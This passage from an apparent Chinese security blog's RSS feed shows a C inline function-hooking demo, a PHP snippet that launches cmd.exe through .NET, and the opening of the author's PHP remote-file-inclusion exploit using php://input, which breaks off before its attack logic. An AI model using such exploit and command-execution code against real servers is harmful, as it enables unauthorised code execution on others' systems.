src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;保存原始操作码</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(orig_code,&nbsp;(BYTE&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)func,&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;计算fack_func地址</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">((ULONG</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)(hook_code</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(ULONG)fake_func&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;(ULONG)func&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;修改原始入口</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;memcpy((BYTE&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)func,&nbsp;hook_code,&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;计算跳回地址</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(&nbsp;(ULONG</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)(jmp_orig_code</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(ULONG)func&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;(ULONG)jmp_back&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;填充jmp_back</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;memcpy((BYTE&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)jmp_back,&nbsp;orig_code,&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">);&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;memcpy((BYTE&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)jmp_back</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">,&nbsp;jmp_orig_code,&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>__declspec(naked)&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;jmp_back()<br><img id=Codehighlighter1_1133_1278_Open_Image onclick="this.style.display='none'; Codehighlighter1_1133_1278_Open_Text.style.display='none'; Codehighlighter1_1133_1278_Closed_Image.style.display='inline'; Codehighlighter1_1133_1278_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_1133_1278_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1133_1278_Closed_Text.style.display='none'; Codehighlighter1_1133_1278_Open_Image.style.display='inline'; Codehighlighter1_1133_1278_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=Codehighlighter1_1133_1278_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_1133_1278_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;__asm<br><img id=Codehighlighter1_1143_1276_Open_Image onclick="this.style.display='none'; Codehighlighter1_1143_1276_Open_Text.style.display='none'; Codehighlighter1_1143_1276_Closed_Image.style.display='inline'; Codehighlighter1_1143_1276_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_1143_1276_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1143_1276_Closed_Text.style.display='none'; Codehighlighter1_1143_1276_Open_Image.style.display='inline'; Codehighlighter1_1143_1276_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span id=Codehighlighter1_1143_1276_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_1143_1276_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;fake_func()<br><img id=Codehighlighter1_1297_1387_Open_Image onclick="this.style.display='none'; Codehighlighter1_1297_1387_Open_Text.style.display='none'; Codehighlighter1_1297_1387_Closed_Image.style.display='inline'; Codehighlighter1_1297_1387_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_1297_1387_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1297_1387_Closed_Text.style.display='none'; Codehighlighter1_1297_1387_Open_Image.style.display='inline'; Codehighlighter1_1297_1387_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=Codehighlighter1_1297_1387_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_1297_1387_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;ret;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">I'm&nbsp;fake_func(),I'm&nbsp;called!\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;jmp_back();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;ret;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<br>测试结果:<br><br><img src="http://www.phpweblog.net/images/phpweblog_net/gary/3rh.JPG" border=0>&nbsp;<br><br>参考: http://www.whitecell.org/forums/viewthread.php?tid=360
<img src ="http://www.phpweblog.net/GaRY/aggbug/1272.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-05-29 13:45 <a href="http://www.phpweblog.net/GaRY/archive/2007/05/29/ring3_inline_hook_demo.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Why?</title><link>http://www.phpweblog.net/GaRY/archive/2007/05/28/1271.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Mon, 28 May 2007 14:41:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/05/28/1271.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1271.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/05/28/1271.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1271.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1271.html</trackback:ping><description><![CDATA[Who can tell me why?<br>我系统是xp + .net framework 2.0<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">&lt;?</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">try</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #800080">$CmdProcess</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000">&nbsp;DOTNET(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">System</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">System.Diagnostics.Process</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;or&nbsp;</span><span style="COLOR: #0000ff">die</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">cannot&nbsp;create&nbsp;.net&nbsp;process&nbsp;object</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">catch</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">Exception</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$e</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">die</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$e</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">getMessage());<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$CmdProcess</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">Start(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">cmd.exe</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">?&gt;</span></div>
<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">Microsoft&nbsp;Windows&nbsp;XP&nbsp;[版本&nbsp;</span><span style="COLOR: #000000">5.1</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">2600</span><span style="COLOR: #000000">]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>(C)&nbsp;版权所有&nbsp;</span><span style="COLOR: #000000">1985</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">2001</span><span style="COLOR: #000000">&nbsp;Microsoft&nbsp;Corp</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>D</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">\APMServ\www\htdocs</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">php&nbsp;netexec</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">php<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>Failed&nbsp;to&nbsp;instantiate&nbsp;</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Net&nbsp;</span><span style="COLOR: #0000ff">object</span><span style="COLOR: #000000">&nbsp;[CreateInstance]&nbsp;[</span><span style="COLOR: #000000">0x80070002</span><span style="COLOR: #000000">]&nbsp;系统找不到指定的<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>文件。<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>D</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">\APMServ\www\htdocs</span><span style="COLOR: #000000">&gt;</span></div>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1271.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-05-28 22:41 <a href="http://www.phpweblog.net/GaRY/archive/2007/05/28/1271.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>小东西</title><link>http://www.phpweblog.net/GaRY/archive/2007/05/22/1239.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 22 May 2007 08:12:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/05/22/1239.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1239.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/05/22/1239.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1239.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1239.html</trackback:ping><description><![CDATA[翻找以前的东西.找到以前写的一些小东西,自己都不记得了....<br>呵呵,丢上来,都是些没有技术含量的玩意<br><br>Remote Include File 的exp,利用的是php://input,所以要求对方php起码要有4.3.0版本以上:<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">&lt;?</span><span style="COLOR: #000000">php<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*&nbsp;PHP&nbsp;include&nbsp;file&nbsp;exploit&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*&nbsp;Modified&nbsp;by&nbsp;wofeiwo&nbsp;&lt;wofeiwo[0x40]gmail[0x2e]com&gt;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*&nbsp;Date:&nbsp;Jun&nbsp;24th&nbsp;2006<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>*<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000">&nbsp;stripslashes_array(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #800080">$array</span><span style="COLOR: #000000">)&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #0000ff">list</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$var</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">each</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$array</span><span style="COLOR: #000000">))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">argc</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;&amp;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">argv</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;&amp;</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">strtoupper</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">.</span><span style="COLOR: #008080">intval</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">$key</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">is_string</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$var</span><span style="COLOR: #000000">))&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$array</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">stripslashes</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$var</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">is_array</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$var</span><span style="COLOR: #000000">))&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$array</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;stripslashes_array(</span><span style="COLOR: #800080">$var</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$array</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #008080">get_magic_quotes_gpc</span><span style="COLOR: #000000">())&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$_GET</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;stripslashes_array(</span><span style="COLOR: #800080">$_GET</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;stripslashes_array(</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$server</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">isset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">server</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">])</span><span style="COLOR: #000000">?</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">server</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$file</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">isset</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">file</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">])</span><span style="COLOR: #000000">?</span><span style="COLOR: #800080">$_POST</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">file</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br><img 